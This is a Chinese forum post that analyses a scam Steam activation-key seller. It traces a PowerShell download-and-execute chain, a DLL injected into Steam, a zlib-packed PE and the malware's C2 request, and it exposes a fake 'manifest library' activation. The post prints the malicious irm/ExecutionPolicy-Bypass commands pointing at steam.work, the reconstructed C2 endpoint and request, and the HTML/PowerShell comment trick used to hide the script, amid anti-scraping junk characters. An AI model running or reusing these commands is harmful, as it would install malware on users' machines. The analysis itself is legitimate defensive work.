找回密码
 立即注册
搜索
查看: 305|回复: 0

关于 steam.work 激活码诈骗脚本的分析

[复制链接]

48

主题

0

回帖

1578

积分

管理员

积分
1578
发表于 2025-2-19 10:02:21 | 显示全部楼层 |阅读模式
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:
7 Q, b. J  L( h; l' Q3 V9 |$ J
5 f/ }: ]' j7 U7 K* _. N7 J7 C8 u/ P
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?" l8 Y: {$ g' }6 E" E
; z# q1 p& p- z8 B4 Y3 q1 ^
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:
! H: w3 v( @4 _( p4 l$ M- V; u, J+ @4 k
好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损& l7 [9 t# R* F* u
1 h; Z; P  V& ~, z- w1 p
那么真实的代码就只剩两行了:7 O7 r% M2 X) t2 a3 E! K8 m8 V6 A
[PowerShell] 纯文本查看 复制代码
8 `9 g/ d" R" A7 y7 Y9 e( D8 c0 F) D?
) J% Z' K/ N$ P: w+ L" _/ |4 L- h& ^
1
1 D0 `# U& d2 g1 i# a" G9 x. [2
' N6 O& \8 o5 G" G* A% @! L  M. W
irm steam.work/pwsDwFile/new1 -OutFile x.ps12 A0 o( k* _8 |
powershell.exe -ExecutionPolicy Bypass -File x.ps1;
9 z' w% u, Z8 G; M/ r2 I& k' u. H

% O& i& i7 Q. S+ V6 S! v% ~: I
$ D" i: H; {( W, ?: V# Q- f( b- R  j/ k7 r, J3 y* W

( a2 i' q- N! x* F
5 c: E. m( _' o4 u; z看得出来,又是下脚本...我们把这玩意也下下来看一眼:, \  x0 n5 `$ X# E- ~) O% I( O

$ r8 W3 t& [9 m我怎么兑换个激活码你还给我注入上 Steam了!有病啊!9 ?% W* L& B5 N& F* {
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:( C8 h+ ?$ Q- g/ `3 r
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:% Y+ |8 |3 G- J8 f, {& L

* F, e6 @# t1 v* W& N2. 里面有 zlib.inflate (图里打错了); S& T- b/ \) H( G. q) F6 v

" f3 b; A$ S; J$ y
$ B9 R% a  U! i3 y看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:; Q/ X! M6 r1 q( @' C* i
打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西* P* `# w5 k( U

5 r5 c) p0 a$ x% L
[eax + 0x4 * 3] -> 解压出缓冲区指针
+ m" a! s4 t2 C" Q$ U' f$ r[eax + 0x4 * 5] -> 解压出数据长度

1 x% s# u& [! x$ m不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
; A! f1 M- e  H$ X这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:2 }0 s0 s7 d/ `6 j: w

' M3 O5 |2 }3 P; k2 N5 S/ P7 _7 y怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?
# S7 g! l8 i) Q  @) S6 _
/ j3 _7 z, W) H, c0 s9 Z这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串$ o; a0 V. N! U% k, Z( f

$ g# G& m7 b% p+ X" B- u(接前文)
6 J! N4 m/ E( U, W, w那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
) ?' F8 P0 |+ \% q. S; C( z直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
* p9 s& K0 a- }/ S, @6 Z然后就断下来了,我们来看一眼$ ?: W! p( T0 H+ P% x0 m* M$ k

  Y$ T8 S6 z% p) W- V+ S4 I直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下5 h6 i: f8 }! [5 _" [* [
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:4 j" ]* f5 g# i9 d! U% f
. ~+ R1 n' u! P! p: I. p
HTTP1.1 POST http://api.steam.work/api/integral/vs# d; L+ ]8 [; v
Referer: version9 S* `/ g$ J# C/ D6 N; d9 F# L
user-agent: steam
$ O8 l7 {7 W) \! {{"sign":"ckv"}1 E! x% t% P5 b' `: K
: N7 G  R- X5 A& {

5 w' h8 `% W1 ]/ C' ~# B
' G" g3 Q. ]' w# Q% Y1 k, b3 Z
% P: n8 J6 b( @, ^0 G4 C返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
. l% @% v, G* i" r- C0 ]+ u2 F9 bsqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)! x* C" @# _( o0 i- k9 |

- v( H5 @0 ?, Q9 Y+ ]2 z于是转移到一台实机上继续分析。: P1 h9 W/ i5 }7 {. Q) a  n

5 v4 E) t% ~2 H7 x$ {

) A/ B+ O6 d. X& z直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点; H( x7 H  o- n9 ]# Y. b" J) b# @: j
把请求掏出来看看:7 }/ _* B, \' h7 u* h1 t

4 F' ?0 K3 Q) y看起来是成功了,返回一个 code 和一个 data;- ^; `% {& y1 \3 a  n* P
这个 ID 又是啥?
, @+ @/ M1 G  w4 w9 m1 L/ T
$ P! D/ E4 ?- F' L哦,哈迪斯的 App ID2 o( c( i6 J# Y) A5 o
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里- {7 x- |) L8 _: V) b7 I  E* c
C:\Program Files (x86)\Steam\package\data9 U9 L! A, Z  C5 k7 F3 X
# ^6 p" A4 [; t2 G% F- u. f
这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!  {: d6 L; v% g/ N% P
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开
" x4 j' M4 Q1 h1 I& }
0 [/ E$ |) o& p! R) q, x居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:3 o( i2 H1 L) q: `

2 E, W& }5 D. K$ I  K有个appid,和两个不认识的hex;把键名拿去搜搜看:2 {  _/ t4 h& |+ S, J- X
  J" a9 M, D0 Y8 e9 x7 E

6 v; ^( I% E  I' B6 V原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!
, b5 o5 V  ?, r& d( M+ @9 f7 O2 i0 w' H4 t+ p  Y3 M& k4 e
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey$ X8 n1 H+ L( }+ j5 w7 t- ~
) V3 n* h$ P- ]
& A! u' X0 h# i
0 f0 r6 s2 W0 J- b) W
( o, @' }  Y; `8 L$ t1 C/ t
; W0 a/ k8 _4 j0 d

7 c+ W& [, ?3 ]3 S% v3 F) N/ o9 m8 P3 s5 p7 Z  Z

. g. q8 ^4 f3 l) g9 U8 G1 d' @$ ?2 x
9 Q" e( M: ]( c, [. ~
) _" B  Z2 u1 C3 e$ K! Z3 A: v
) \3 Z$ K; x' f' L2 n- X

2 i0 J- ?+ B& X. w2 D' \2 T
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-11-3 04:46 AM , Processed in 0.091146 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表